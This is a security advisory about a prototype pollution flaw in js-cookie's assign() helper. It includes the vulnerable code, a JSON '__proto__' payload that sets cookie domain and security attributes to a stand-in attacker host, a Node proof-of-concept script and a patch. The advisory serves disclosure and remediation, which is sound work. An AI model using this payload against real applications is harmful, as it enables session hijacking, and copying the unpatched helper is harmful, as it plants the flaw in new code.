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GHSA-qjx8-664m-686j

HighCVSS 7.5 / 10
Published May 21, 2026·Last modified May 21, 2026
Affected Components(0)

No affected components available

Description

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}
Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.51%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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